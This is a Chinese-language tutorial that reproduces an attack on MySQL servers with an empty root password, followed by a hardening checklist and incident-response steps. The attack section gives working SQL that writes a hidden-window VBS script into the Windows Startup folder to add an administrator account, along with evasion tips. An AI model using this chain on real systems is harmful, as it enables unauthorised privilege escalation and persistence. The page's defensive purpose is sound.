首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> MySQL 資料庫 >> MySQL 綜合教學

MySQL root 空密碼下的 INTO OUTFILE 任意文件寫入攻擊複現與防範

     編輯:MySQL 綜合教學

⚠️ 安全聲明

本文旨在還原經典攻擊鏈以便防禦檢測與加固,嚴禁用於未授權系統測試。實施攻擊行為屬違法犯罪,後果自負。

攻擊前提條件

  • 目標 MySQL 服務暴露於網絡(默認 3306 端口);
  • root 賬戶**無密碼**或弱口令,且允許遠程連接(`host='%'` 或具體 IP);
  • 攻擊者具備 `FILE` 權限(root 默認擁有);
  • 目標服務器文件系統權限允許 MySQL 進程用戶寫入目標路徑(如啟動目錄、Web 目錄)。

攻擊鏈完整複現

1. 建立連接

mysql -u root -h 192.168.0.1 -P 3306  # 無密碼直連

2. 選擇/創建可控數據庫與表

USE test;  -- 或 CREATE DATABASE evil; USE evil;
CREATE TABLE payload (cmd TEXT);

3. 構造惡意 VBS 腳本內容(分行插入繞過長度/轉義限制)


INSERT INTO payload VALUES ('Set wshShell = CreateObject("WScript.Shell")');
INSERT INTO payload VALUES ('a = wshShell.Run("cmd.exe /c net user attacker Pass123 /add", 0)');
INSERT INTO payload VALUES ('b = wshShell.Run("cmd.exe /c net localgroup administrators attacker /add", 0)');

關鍵技巧:

  • 使用 VBS (`.vbs`) 而非 BAT:`WScript.Shell` 運行 `Run(..., 0)` 參數 `0` 代表**隱藏窗口**,無黑框彈出,隱蔽性極強;
  • 雙引號轉義:SQL 字串中雙引號需雙寫 `""`;
  • 分多行 `INSERT` 避免單行過長或特殊字符截斷。

4. 導出為可執行腳本文件


SELECT * FROM payload
INTO OUTFILE "C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動\\evil.vbs"
CHARACTER SET utf8mb4;  -- 確保編碼正確

核心利用點: `INTO OUTFILE` 將查詢結果直接寫入文件系統。路徑指向 **Windows「啟動」文件夾**,實現**開機自動執行權限提升**(添加管理員用戶)。

5. 觸發執行

等待管理員登錄/重啟服務器 → 腳本自動運行 → 攻擊者獲得系統管理員帳號 → 遠程桌面/PSExec 横向移動。

為什麼這屬於「經典高危漏洞」?

環節風險點
認證Root 空密碼 + 遠程訪問 = 無門檻入口
權限Root 默認擁有 `FILE` 權限,可讀寫服務器文件
功能`SELECT ... INTO OUTFILE` 是合法功能,非漏洞,無法單純禁用
落地寫入啟動項/定時任務/Webshell 實現持久化與提權
隱蔽VBS 無窗口運行,常規殺毒難查殺純文本腳本行為

系統級加固清單(由輕到重)

  1. 消除根因: 為 root 設置強密碼,禁止遠程登錄(`ALTER USER 'root'@'%' IDENTIFIED BY 'StrongPass!';` / `bind-address=127.0.0.1`)。
  2. 最小權限原則: 業務應用使用專用賬戶,**回收 `FILE` 權限**(`REVOKE FILE ON *.* FROM 'app_user'@'%';`)。
  3. 禁用/限制 `INTO OUTFILE`:
    • MySQL 8.0+:設置 `secure_file_priv = /var/lib/mysql-files/` 僅允許導出到指定安全目錄(不可寫入 Web/啟動目錄)。
    • 舊版本:編譯時禁用或通過 SELinux/AppArmor 限制 `mysqld` 進程寫入路徑。
  4. 文件系統層面: MySQL 數據目錄、錯誤日誌目錄掛載 `noexec,nodev,nosuid`;啟動目錄、Web 目錄設置嚴格 ACL,禁止 `mysql` 系統用戶寫入。
  5. 網絡層面: 3306 端口僅對應用服務器 IP 開放(安全組/防火牆/iptables),嚴禁全網暴露。
  6. 審計監控: 開啟 `general_log` 或审计插件 記錄 `INTO OUTFILE`/`INTO DUMPFILE` 語句,配合 SIEM 告警。
  7. 定期滲透測試: 模擬此攻擊鏈驗證防禦有效性。

應急排查指引

發現可疑 `.vbs`/`.bat`/`.ps1` 腳本出現在啟動項、計劃任務、Web 目錄:

  1. 檢查 MySQL `general_log` / `audit_log` 中是否有 `INTO OUTFILE` 記錄;
  2. 排查 `information_schema.processlist` 歷史(若未重啟)或 Binlog 中的 `INSERT`/`SELECT` 模式;
  3. 檢查系統帳號異常新增(`net user` / `Get-LocalUser`);
  4. 立即修改 root 密碼、收回 `FILE` 權限、封禁可疑 IP、清理惡意文件、全盤掃描。

結語

「Root 空密碼 + `INTO OUTFILE` 寫啟動項」是教科書級的**配置不當導致的 RCE(遠程代碼執行)**。它不屬於 MySQL 本身的代碼漏洞,而是**權限管理缺失、網絡暴露、文件系統防護缺位**共同作用的結果。徹底修復需從賬戶、網絡、權限、文件系統、審計多維度纵深防禦,單一措施皆不足恃。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved